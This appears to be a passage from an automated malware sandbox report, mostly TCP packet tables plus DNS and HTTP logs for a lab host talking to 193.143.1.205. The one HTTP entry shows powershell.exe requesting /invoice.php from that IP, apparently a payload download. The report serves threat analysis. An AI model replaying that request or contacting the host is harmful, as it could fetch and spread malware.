Jan 11, 2025 04:08:57.464099884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.464107990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.464144945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.464179993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.464180946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.464217901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.464251041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.464260101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.464284897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.464318037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.464323044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.464353085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.464386940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.464390039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.464421034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.464453936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.464457035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.464488983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.464520931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.464526892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.464555979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.464591026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.464595079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.466938972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.494184971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.494261026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.494297981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.494330883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.494330883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.494359016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.494365931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.494409084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.494420052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.494457960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.494491100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.494503975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.494525909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.494559050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.494564056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.494591951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.494632959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.494645119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.494684935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.494714975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.494735956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.494752884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.494800091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.515474081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.515532017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.515566111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.515590906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.515675068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.515710115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.515716076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.515743971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.515778065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.515779972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.515816927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.515851974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.515851974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.515886068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.515917063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.515918016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.515950918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.515988111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.516035080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.516068935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.516100883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.516104937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.516135931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.516169071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.516172886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.516278982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.516311884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.516328096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.516362906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.516395092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.516397953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.516427994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.516459942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.516473055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.516491890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.516534090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.548949957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.548996925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549043894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.549053907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549092054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549128056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.549145937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549182892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549215078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549235106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.549267054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549300909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549304008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.549335003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549365044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.549367905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549401999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549434900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549444914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.549468994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549501896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549511909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.549554110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549581051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549583912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.549638033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549671888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549679041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.549705029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549737930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549742937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.549772024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549812078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.549892902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549926996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549958944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.549961090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.549988031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550021887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.550021887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550055981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550087929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550091982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.550123930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550183058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.550266027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550299883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550333977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550334930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.550369024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550414085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550414085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.550488949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550523996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550528049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.550643921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550681114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.550693035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550725937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550759077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550770998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.550798893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550832033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550837040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.550865889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550898075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.550898075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550945044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.550976992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.550978899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551012993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551045895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551050901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.551378965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551414013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551418066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.551450968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551485062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551489115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.551517963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551551104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551554918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.551584959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551618099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.551618099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551652908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551685095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551687956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.551718950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551753044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551754951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.551784992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551817894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551821947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.551851034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551883936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.551883936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551919937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.551966906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.552264929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.552298069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.552331924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.552335978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.552366018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.552397966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.552403927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.552432060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.552465916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.552468061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.552500010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.552532911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.552536964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.552566051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.552598000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.552601099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.552630901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.552664042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.552668095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.552702904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.552736998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.553680897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.582578897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.582616091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.582652092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.582668066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.582685947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.582730055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.582737923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.582772970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.582807064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.582807064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.582878113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.582915068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.582927942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.582962036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.582994938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.582998991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.583029032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.583064079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.583072901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.583220959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.583250999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.583512068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.604065895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604096889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604124069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.604151011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604193926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.604202986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604234934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604269028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604271889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.604304075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604337931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604348898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.604367018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604399920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604407072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.604434013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604465961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604492903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.604548931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604582071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604598045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.604615927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604650021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604654074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.604682922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604727983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.604774952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604809046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604842901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604844093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.604876995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.604914904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.604985952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.605019093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.605053902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.605061054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.637404919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.637469053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.637481928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.637516975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.637553930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.637568951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.637602091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.637636900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.637638092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.637671947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.637701035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.637725115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.637758017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.637789965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.637790918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.637825012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.637856960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:57.637861013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:57.684892893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:58.148708105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:58.518095970 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:58.523060083 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:58.523328066 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:58.523328066 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:58.528131962 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:59.309777975 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:08:59.356786013 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:08:59.575417995 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:09:11.525243998 CET	56787	53	192.168.2.5	1.1.1.1
Jan 11, 2025 04:09:24.142791986 CET	58164	53	192.168.2.5	1.1.1.1
Jan 11, 2025 04:09:37.501229048 CET	62901	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:09:11.525243998 CET	192.168.2.5	1.1.1.1	0x34e4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:09:24.142791986 CET	192.168.2.5	1.1.1.1	0x728e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:09:37.501229048 CET	192.168.2.5	1.1.1.1	0x7f18	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 04:09:10.477149010 CET	1.1.1.1	192.168.2.5	0x8a7d	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:09:10.477149010 CET	1.1.1.1	192.168.2.5	0x8a7d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:09:10.477149010 CET	1.1.1.1	192.168.2.5	0x8a7d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:09:10.477149010 CET	1.1.1.1	192.168.2.5	0x8a7d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:09:10.477149010 CET	1.1.1.1	192.168.2.5	0x8a7d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.21	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:09:10.477149010 CET	1.1.1.1	192.168.2.5	0x8a7d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.21	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:09:10.477149010 CET	1.1.1.1	192.168.2.5	0x8a7d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.22	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:09:10.477149010 CET	1.1.1.1	192.168.2.5	0x8a7d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:09:10.477149010 CET	1.1.1.1	192.168.2.5	0x8a7d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:09:11.533209085 CET	1.1.1.1	192.168.2.5	0x34e4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:09:24.149883032 CET	1.1.1.1	192.168.2.5	0x728e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:09:37.508332014 CET	1.1.1.1	192.168.2.5	0x7f18	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6224	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:08:56.109610081 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
